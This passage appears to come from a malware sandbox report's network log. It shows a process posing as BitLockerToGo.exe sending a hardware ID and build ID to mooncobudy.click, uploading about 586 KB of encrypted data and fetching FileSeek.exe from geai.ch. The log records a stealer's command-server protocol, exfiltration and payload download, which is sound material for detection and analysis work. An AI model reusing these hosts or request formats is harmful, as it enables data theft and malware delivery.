00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-30 20:42:33 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 20:42:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j82fpr65f82fc0ed6b0mb2ldvb; expires=Fri, 25 Apr 2025 14:29:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G20KoPAf0Y%2FE79Hgt2K96WYPx%2FAOq0WXQIB671Na%2Fdsly59KE1KFDcBO6NTuZ74SIoGwCik0JBMG%2B7L0NDWsguETYbYEcmlcm%2FoZiwmrZ6YxliL5HzX9QsLvys4TwpoeeJaV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa4db63fdd241f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1774&min_rtt=1772&rtt_var=670&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2841&recv_bytes=21358&delivery_rate=1626740&cwnd=211&unsent_bytes=0&cid=f292da620f2cb6b7&ts=634&x=0"
2024-12-30 20:42:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 20:42:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	188.114.97.3	443	7020	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 20:42:34 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QZT0PON9CKLZYU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1248 Host: mooncobudy.click
2024-12-30 20:42:34 UTC	1248	OUT	Data Raw: 2d 2d 51 5a 54 30 50 4f 4e 39 43 4b 4c 5a 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 38 33 37 38 43 39 34 39 30 35 44 39 32 32 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 51 5a 54 30 50 4f 4e 39 43 4b 4c 5a 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 5a 54 30 50 4f 4e 39 43 4b 4c 5a 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4a 77 71 75 6c 6e 2d 2d 32 39 31 32 59 54 0d 0a 2d 2d 51 5a 54 30 50 4f 4e Data Ascii: --QZT0PON9CKLZYUContent-Disposition: form-data; name="hwid"578378C94905D92220A4C476FD51BCB1--QZT0PON9CKLZYUContent-Disposition: form-data; name="pid"1--QZT0PON9CKLZYUContent-Disposition: form-data; name="lid"Jwquln--2912YT--QZT0PON
2024-12-30 20:42:34 UTC	1126	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 20:42:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qhsbsfrsonvnqog96jna0mgevi; expires=Fri, 25 Apr 2025 14:29:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dporzJxijVltwGhnEKATuAf%2BE%2FoVc8TjiJ1brF%2BPBB%2FDFKjYDy9ATiWK22ZbwjCexQhUogw82FTBwZILgPR0eUgPNEcQMJYFNrx1W9S%2By8hW5PquF83JLRUAc1dLrk40YFSp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa4db6daa39428b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1775&min_rtt=1765&rtt_var=682&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2161&delivery_rate=1580942&cwnd=240&unsent_bytes=0&cid=cd27f7030bbd0b28&ts=449&x=0"
2024-12-30 20:42:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 20:42:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	188.114.97.3	443	7020	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 20:42:35 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RQ1RM20WVEV3JK5IJCK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586114 Host: mooncobudy.click
2024-12-30 20:42:35 UTC	15331	OUT	Data Raw: 2d 2d 52 51 31 52 4d 32 30 57 56 45 56 33 4a 4b 35 49 4a 43 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 38 33 37 38 43 39 34 39 30 35 44 39 32 32 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 52 51 31 52 4d 32 30 57 56 45 56 33 4a 4b 35 49 4a 43 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 51 31 52 4d 32 30 57 56 45 56 33 4a 4b 35 49 4a 43 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4a 77 71 75 6c 6e 2d 2d 32 39 Data Ascii: --RQ1RM20WVEV3JK5IJCKContent-Disposition: form-data; name="hwid"578378C94905D92220A4C476FD51BCB1--RQ1RM20WVEV3JK5IJCKContent-Disposition: form-data; name="pid"1--RQ1RM20WVEV3JK5IJCKContent-Disposition: form-data; name="lid"Jwquln--29
2024-12-30 20:42:35 UTC	15331	OUT	Data Raw: f6 3d 6b 58 2c 3c 16 18 a1 c2 87 b8 49 14 9e 04 cd 16 ca 52 a3 cf 29 52 ce 97 b1 7f 62 ec 50 7e f3 3f be 6a 51 8c 0b 1b d2 2f 26 1d bf b6 6a d6 bb ab 73 d8 16 19 15 55 c9 db 26 b3 dc 9c 26 ba f5 8a 9a 54 e2 a0 bd 4f e8 62 96 2a 36 a2 22 fe 38 13 78 1f 84 ca 2e d5 cc 94 5e e3 c7 0d 0c 6e e5 15 12 1f c3 5e ea 84 81 12 a5 4a 04 fd 79 7a a3 a1 36 66 e8 c8 d9 49 ed f0 bf 3e ee 13 b5 c1 dc 6e e9 27 38 f3 3f 2f 3c 38 b5 66 3e 23 d3 55 f5 20 5b 1d cd 9e 56 37 65 bf 7f 9f 0a d1 77 98 0a d9 d0 57 cd 3b d8 54 3d 51 0d 4a 92 f6 84 14 de 9d 69 e9 e2 3c 93 5f 81 1b e4 ef 81 b6 a0 ea e8 de 84 d3 9c 1d b3 85 26 61 ee 87 52 f6 e2 a6 19 43 2e 6e 3e ca 5d ab bc 21 bc 0d e7 f3 d7 d7 6b 0e 52 cf b3 d3 e7 7d 62 84 01 d0 8b a0 5a a3 52 68 96 45 62 f4 9f e2 dd ab 27 fd 96 bf 84 Data Ascii: =kX,<IR)RbP~?jQ/&jsU&&TOb*6"8x.^n^Jyz6fI>n'8?/<8f>#U [V7ewW;T=QJi<_&aRC.n>]!kR}bZRhEb'
2024-12-30 20:42:35 UTC	15331	OUT	Data Raw: 8d 33 62 59 df 43 5c 93 00 df c6 f2 15 4f 88 cc 01 0a 93 00 b9 99 c0 1e 28 cf d9 e1 27 0f 54 31 8d 5b b1 44 c2 46 2a 08 b7 81 fc ff ed 3d 24 e1 c7 30 76 41 bd a6 25 b9 37 5e 51 6c 14 d8 93 9a 5e 36 42 c1 f3 a3 71 1c a0 f8 a9 18 ec cf 9b 29 ed be f1 e4 30 41 25 20 bd 8b 29 37 9b ad 63 e9 5c 67 6d 84 12 f5 b2 78 1e cd c1 20 d8 4d 59 1b ca 7b a1 10 4d 1f da 02 8b 1e 87 cc 2e 36 48 0a ea ba 9d 7f af 74 c1 6f 5f a4 90 da eb 54 1a e1 3b 2d 33 03 4e e0 f3 85 a0 93 17 55 7f df 61 2b 09 22 99 84 41 74 93 dd e5 3c ce 15 31 6c 66 2b cc 2f f6 7a 3d 09 e0 9b b4 be b3 d9 fd 55 40 b9 a6 12 ab b9 e6 d5 f5 34 d4 ce 65 63 e0 31 ac cc e9 36 83 6e 9d 46 cc ef e5 71 1a 6d 85 a8 fb 30 27 25 cf 93 3a 18 91 5e bc 31 84 e7 11 df 78 44 5d 21 de 87 0e 95 e2 ec f3 0c e0 f8 bd f9 87 Data Ascii: 3bYC\O('T1[DF*=$0vA%7^Ql^6Bq)0A% )7c\gmx MY{M.6Hto_T;-3NUa+"At<1lf+/z=U@4ec16nFqm0'%:^1xD]!
2024-12-30 20:42:35 UTC	15331	OUT	Data Raw: 98 c2 f3 3d 30 40 90 52 a1 26 50 2c d4 2c 1a db 50 77 05 65 a0 8a 5c 5e 1f d2 87 0c 5f 77 97 4e 1c 30 8c 0a df 0b 8e 1b 20 ce 18 17 f1 45 07 dd c3 30 56 47 9a ef 6f 98 24 1a 83 95 94 8b ac 3f 7a 06 fd c7 52 87 66 9e 87 af 40 39 c8 e0 8b 0e c4 ae c4 ed ea 23 77 5f 35 df b2 36 7e c4 b0 e9 08 f2 00 82 90 73 cf 39 bb 02 c5 df 9d 55 4b 83 b5 2a 05 9c d3 03 42 64 5f ce 51 f6 18 0a 84 67 b7 d4 4a 64 5c fe 2f 7e 7f dc b9 e1 23 7d e1 cb 27 ef 0b 16 9d 03 5b 6c e6 05 cf d7 dc 1d 08 a0 04 78 6d 55 ee c1 56 77 5f b0 3f 1f 55 2d aa 5d 2a 00 0e 25 10 d9 90 eb bc b4 89 db 42 a9 fc 36 91 52 59 90 c7 22 fa d5 dd 89 8a 17 4e a9 f0 bd bd 09 3c e7 cb 4c 88 a6 80 b4 65 18 d9 cf 0d 6f a6 d0 37 22 ef 70 4e 42 bc 09 f0 c8 a5 0c 80 fc 4e 10 bf 9b f9 72 79 f4 3c 41 f4 39 c3 40 4f Data Ascii: =0@R&P,,Pwe\^_wN0 E0VGo$?zRf@9#w_56~s9UKBd_QgJd\/~#}'[lxmUVw_?U-]%B6RY"N<Leo7"pNBNry<A9@O
2024-12-30 20:42:35 UTC	15331	OUT	Data Raw: 28 a9 f1 10 e4 1c c8 15 ae d7 01 5e 6a f5 b3 9c 0b 5b 29 07 11 3a 54 9b 7a 15 30 fa 5b 3d 98 5e 20 b5 be e2 ca 93 f6 d6 ba 0e f3 13 4e 5d f5 87 d1 50 9c 93 c8 6b 6f 9e 50 78 ad 69 8d 47 a9 29 45 45 b2 07 84 eb f9 72 45 70 8a 7e 4a 07 b9 b9 d1 21 8e d0 2b d9 75 d2 ca e7 a5 35 1a 56 2c a9 39 d7 54 e4 b7 9b c4 18 34 d4 55 75 2b a1 be 33 f2 9e 98 c5 5e 11 97 09 3e 54 6b 25 09 4e dc 68 bc b4 e3 2d 30 e7 b8 37 9a ed 08 7d ed 87 cf f7 d7 cf 6c 8e fc e8 d3 93 62 cb 6b 34 d2 66 5a f6 6b 8f 46 c4 c6 a4 31 78 42 a1 78 79 d7 2f f7 2b 57 cb 54 00 cd 55 65 70 7a 09 32 ab 0e b7 cb 51 51 c5 cf 87 b6 af ac f9 8d b6 6d 58 56 b4 ac bd de 74 8b 8b ac 5b 57 3b c8 93 a8 a2 32 d0 b8 11 ef 71 48 24 cd 90 8b da 06 ec 4d f3 34 43 7f 8e 8e 72 db 80 16 04 ff 7d 4f c5 61 92 69 05 27 Data Ascii: (^j[):Tz0[=^ N]PkoPxiG)EErEp~J!+u5V,9T4Uu+3^>Tk%Nh-07}lbk4fZkF1xBxy/+WTUepz2QQmXVt[W;2qH$M4Cr}Oai'
2024-12-30 20:42:35 UTC	15331	OUT	Data Raw: e2 f1 f8 27 a8 d0 0e a3 e3 31 67 0f 9e a3 2f 16 78 73 b3 c7 e2 e7 89 f5 d1 2e 9f aa 43 95 7e 2b be e8 df 6e bb 8f eb 06 b0 bc 52 b1 36 f0 64 db 2a 3c 88 38 cc b4 e8 56 79 9d 96 23 b1 29 26 3d 1d 52 b2 85 dd da 9b 32 62 b1 37 f3 06 be ac c1 44 66 02 9a 1f be c7 08 5c 74 95 0f d5 77 6e ad 31 f6 c4 88 9c a9 42 e0 bc 54 72 cc a2 78 6b c8 e3 d4 b1 d9 e4 6a 87 03 5e 13 7d 6a 85 e9 05 a2 33 64 a4 f9 24 df f7 22 5f c1 be 18 2f 75 9d ec 5d ca ea 18 55 c0 0b 89 8a 32 d7 e6 53 0b b1 fd fe 99 2e 36 93 02 87 75 9a bd 7d b7 f6 09 25 27 ec cd d3 e1 f2 e9 25 42 46 9e a0 f8 d0 c8 0e 90 b9 70 8e d9 c0 38 74 d9 23 d6 14 cb 9a fa 58 f0 a9 b2 0b 72 4b 09 13 40 8e b0 23 7e c5 3f 21 d2 08 d8 c5 5c 9e a9 81 69 a0 46 25 6c 72 7a 26 a7 19 07 f6 ab b5 db c3 8f c1 8c 62 f5 7f 8c 92 Data Ascii: '1g/xs.C~+nR6d*<8Vy#)&=R2b7Df\twn1BTrxkj^}j3d$"_/u]U2S.6u}%'%BFp8t#XrK@#~?!\iF%lrz&b
2024-12-30 20:42:35 UTC	15331	OUT	Data Raw: ea d5 bd f4 15 ad 77 08 2b ab 97 f5 9a ad 4c 39 9a e4 ce 3d 2a c6 7b 85 0f 1f 4e 1b 43 34 05 db ec 33 97 3e 5d fe 37 db 21 7f 47 e9 4a 8b e1 b3 fe bb 55 c6 a5 73 5d fd 7f 5f b9 5b fa ad f6 9f 57 77 ca f6 95 2e 4d ea ee 26 70 7b 5b ff ae e2 fe 19 de 43 d8 58 4a 6b c5 2e be 52 06 3d 69 02 83 14 18 16 11 30 a9 da bc 2e 0a d2 18 60 b1 6e fc f7 21 90 8d 82 99 da 99 5a 38 0b 40 c8 86 50 08 84 38 58 17 87 72 5e 0f a8 fd 3a 8d e4 85 52 70 72 cb ec 83 3d 06 08 5e b8 28 7e 78 3f 21 6b f3 62 7f fa 47 8d ef 3b 45 4c d1 e1 30 fc ac e9 f2 72 77 77 e5 9f 85 ab a2 a9 61 6c c3 1c b3 0f 31 2c 6f ef 0d f7 17 8f 20 52 86 17 fd 10 98 b5 f6 16 06 22 82 d8 16 c9 ed e6 88 bc e5 f5 92 47 cd b7 2f 8b 6a e2 79 29 b6 ff e8 d2 c3 0b 9e f8 b6 7f e0 55 79 a8 4b 0e 96 87 ee 94 82 20 0c Data Ascii: w+L9=*{NC43>]7!GJUs]_[Ww.M&p{[CXJk.R=i0.`n!Z8@P8Xr^:Rpr=^(~x?!kbG;EL0rwwal1,o R"G/jy)UyK
2024-12-30 20:42:35 UTC	15331	OUT	Data Raw: fd 46 b7 01 d3 91 41 20 ad a8 78 e3 ef 84 a6 6e 31 e2 a5 9d f7 40 f4 0c 2b 75 78 f0 1d b7 0d a5 35 1f 94 ec 2b 51 39 89 7c b4 b0 16 92 71 b4 ca 9f 9d 0c e2 86 18 61 46 ac 82 f8 cd 49 7e 30 c2 b7 4a ba 33 71 74 a3 2f 23 e7 3f d7 f2 bb 8c e0 62 d6 cd bb 06 73 11 f3 4a 77 b8 39 82 83 05 5f 76 a7 fd 30 b9 6f b7 e1 bd 58 da 96 a6 94 d2 1a 5a 53 e1 72 e9 d2 e6 26 9b c5 b9 1f 6f c6 d1 67 1c 9d 5b b6 08 9c 90 82 7b 2d 24 ba 01 35 46 e2 7f c1 63 36 b8 9c f9 98 c0 b2 1c 39 12 c9 99 2d 9f 70 75 19 9c 29 5f ee 5e e1 20 15 15 43 ca d8 2c 94 16 96 36 99 f2 d4 bf 64 41 09 b7 a6 29 10 83 b1 e4 23 f1 59 96 36 11 24 09 59 bf 08 e7 06 90 7a 15 5b 3b 2c 2a dc 7f 2f 28 b4 56 52 8e 10 12 8b be 31 e2 08 32 9a 1b 9c 73 c0 66 68 04 da 75 ad 16 e6 7d c9 b8 84 c5 c7 bf 7f 2c 08 0f Data Ascii: FA xn1@+ux5+Q9\|qaFI~0J3qt/#?bsJw9_v0oXZSr&og[{-$5Fc69-pu)_^ C,6dA)#Y6$Yz[;,*/(VR12sfhu},
2024-12-30 20:42:35 UTC	15331	OUT	Data Raw: 52 ef 6a b3 ae bf 59 90 87 5f 0f 55 82 b2 5b 9a 47 69 43 e7 a1 1c 1a 12 b4 88 cd ff c9 28 24 97 a1 82 2e 90 dc 48 b0 ca c9 df 33 c7 a5 a9 1f 13 75 46 57 2f ba 25 06 61 ba 82 be d6 30 c1 ca ee 19 9b 7a fb b6 75 c7 53 bf fe d4 d5 fe bd 2d c8 2e 7f 81 47 14 1d 79 33 21 e4 dd 08 ca eb d2 e8 a4 e5 1b 61 70 12 da ab 35 6d f4 59 75 8a 50 c0 c2 b7 0c ca cc c2 2e 4c 8d 13 f9 26 6a 17 ea db 2a 4d 8e b0 ec 4f bd 06 bc 7e 24 ec 8f e0 e7 18 a0 9b 0b 2d a3 18 9c b2 3c b4 0b 5f 7e 82 9a c7 c6 40 3e 95 c8 26 45 57 dd 45 db d1 b3 8d 00 0e 2b b5 8d 14 db 9d b2 8b a7 da 2a 38 5a 82 35 c0 42 bf d6 5f bc 72 d9 4f 3b ba ee f6 10 19 96 6f 80 30 78 bc 90 e2 e5 b7 2a ca f7 1a ec 75 67 76 ad bd 50 15 7a 6c ac 73 3f 2a fd 02 eb 08 52 75 56 03 9f ba 6e 9b b7 f1 cc 0f 6f d3 cd 8f 53 Data Ascii: RjY_U[GiC($.H3uFW/%a0zuS-.Gy3!ap5mYuP.L&jMO~$-<_~@>&EWE+8Z5B_rO;o0xugvPzls?RuVnoS
2024-12-30 20:42:35 UTC	15331	OUT	Data Raw: 91 7e ff 24 8e 02 a5 34 57 b9 31 c1 c3 30 87 bf 99 cf 2a cb d1 57 61 35 87 91 a0 d6 fe ba a6 3d 74 e0 2a 2b 5f 95 ef 10 d3 ca 3e 3b 68 e5 3c ae 77 3a 45 1d aa fa 46 2e 81 2c 2b 65 30 b3 75 c6 d0 46 f5 14 19 99 e6 d0 46 45 8d f2 5c 33 61 4e ab 9b 76 fe d9 6f 7d 49 a8 36 89 e2 34 19 41 29 c3 bc 12 71 c8 bb 4c ae 0d 93 85 b6 c8 7c aa 14 02 22 76 45 81 84 a3 2c ce ba ff 18 91 dd 17 d3 1e 5a 8a 6b ae 0b c8 7f c5 40 e7 ec 52 2c ff 77 9c 94 fd 51 69 ed 9b 1c ed db f2 e9 01 b6 88 72 04 83 3c ff eb 22 ae 30 d9 8a 59 e3 dd 8f 52 dd d3 1f 52 24 dd a7 3b b5 cc 72 a8 cb 8a b4 af 7d a7 52 4e 60 fd c8 4c 29 2d 3a 4f 6c fa 56 de ad 1c 56 e8 a7 2d d9 ff 4e 98 39 31 bf 1d 90 9c 62 43 71 5f 2d 4e 85 0f fc eb 65 b0 67 f9 43 dd ec 8b d9 c8 f7 d2 8d 5e e1 2f 17 ab f5 66 dc 95 Data Ascii: ~$4W10Wa5=t+_>;h<w:EF.,+e0uFFE\3aNvo}I64A)qL\|"vE,Zk@R,wQir<"0YRR$;r}RN`L)-:OlVV-N91bCq_-NegC^/f
2024-12-30 20:42:38 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 20:42:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=se8ivg2nms49ln7smekeagna73; expires=Fri, 25 Apr 2025 14:29:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PV8pw6TvksTUelK08hD%2FjyAjCIijljK0KyRikW4QaEVom0VmAspSB5aMcmZT421cdH3eZyF6wi3s5aJh8f1l0lZg%2BGVXpJctDUyLT240QKrJGHcPsOwV7D581ieWQbHwqvgM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa4db76be42184d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1623&min_rtt=1545&rtt_var=635&sent=206&recv=608&lost=0&retrans=0&sent_bytes=2841&recv_bytes=588706&delivery_rate=1889967&cwnd=239&unsent_bytes=0&cid=ea85c3f5a01d336b&ts=2255&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	188.114.97.3	443	7020	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 20:42:38 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 83 Host: mooncobudy.click
2024-12-30 20:42:38 UTC	83	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4a 77 71 75 6c 6e 2d 2d 32 39 31 32 59 54 26 6a 3d 26 68 77 69 64 3d 35 37 38 33 37 38 43 39 34 39 30 35 44 39 32 32 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 Data Ascii: act=get_message&ver=4.0&lid=Jwquln--2912YT&j=&hwid=578378C94905D92220A4C476FD51BCB1
2024-12-30 20:42:39 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 20:42:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a3vegaqeq7tao6pl3m38s4k4ch; expires=Fri, 25 Apr 2025 14:29:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p%2BbTG2X6dKuSSIawzZIdIAh3aIx%2B7J7d8tTvxUgsZBvpIDKLWrK7EmIhRDZqpi2aIjftQe8NIZGHo20Duh7mvST%2FGscFeH4SVCiqQ0x4ws%2B0s50bLueKjrDj1coZ7p7%2BXvfD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa4db8858836a53-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2003&min_rtt=1997&rtt_var=762&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=983&delivery_rate=1423695&cwnd=222&unsent_bytes=0&cid=4f4a4a277891be8c&ts=481&x=0"
2024-12-30 20:42:39 UTC	122	IN	Data Raw: 37 34 0d 0a 2b 75 5a 39 32 46 78 64 55 68 53 59 53 74 6b 4f 69 4e 47 68 78 52 50 58 34 58 6c 4a 39 4e 66 66 6b 59 56 55 33 69 37 70 46 6f 32 68 6e 56 2b 74 66 6d 64 77 66 4f 77 2b 71 58 32 79 6a 59 36 5a 50 4c 43 45 47 43 44 61 74 4c 66 4e 71 68 4b 33 51 6f 78 46 36 4a 2b 4e 55 37 30 6b 4f 48 41 34 75 69 79 74 4c 4c 4c 68 6a 65 64 32 39 64 74 49 4e 4b 6b 3d 0d 0a Data Ascii: 74+uZ92FxdUhSYStkOiNGhxRPX4XlJ9NffkYVU3i7pFo2hnV+tfmdwfOw+qX2yjY6ZPLCEGCDatLfNqhK3QoxF6J+NU70kOHA4uiytLLLhjed29dtINKk=
2024-12-30 20:42:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	84.32.84.20	443	7020	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 20:42:39 UTC	194	OUT	GET /FileSeek.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: geai.ch
2024-12-30 20:42:39 UTC	519	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 20:42:39 GMT Content-Type: application/x-executable Content-Length: 11622400 Connection: close last-modified: Mon, 23 Dec 2024 13:52:23 GMT etag: "b15800-67696b17-915b2908c49eec93;;;" platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests x-turbo-charged-by: LiteSpeed Age: 170740 Server: hcdn alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: bd7554466cae180dcab31c1ed69c7cb3-bos-edge2 x-hcdn-cache-status: HIT Accept-Ranges: bytes
2024-12-30 20:42:39 UTC	850	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 70 ad 00 00 00 00 00 e0 00 02 01 0b 01 03 00 00 ca 1c 00 00 34 05 00 00 00 00 00 30 18 06 00 00 10 00 00 00 e0 aa 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 00 b4 00 00 04 00 00 b7 50 b2 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELp40@P@
2024-12-30 20:42:39 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8b 04 24 c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 0c 24 c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 14 24 c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 1c 24 c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 2c 24 c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b Data Ascii: $$$$,$
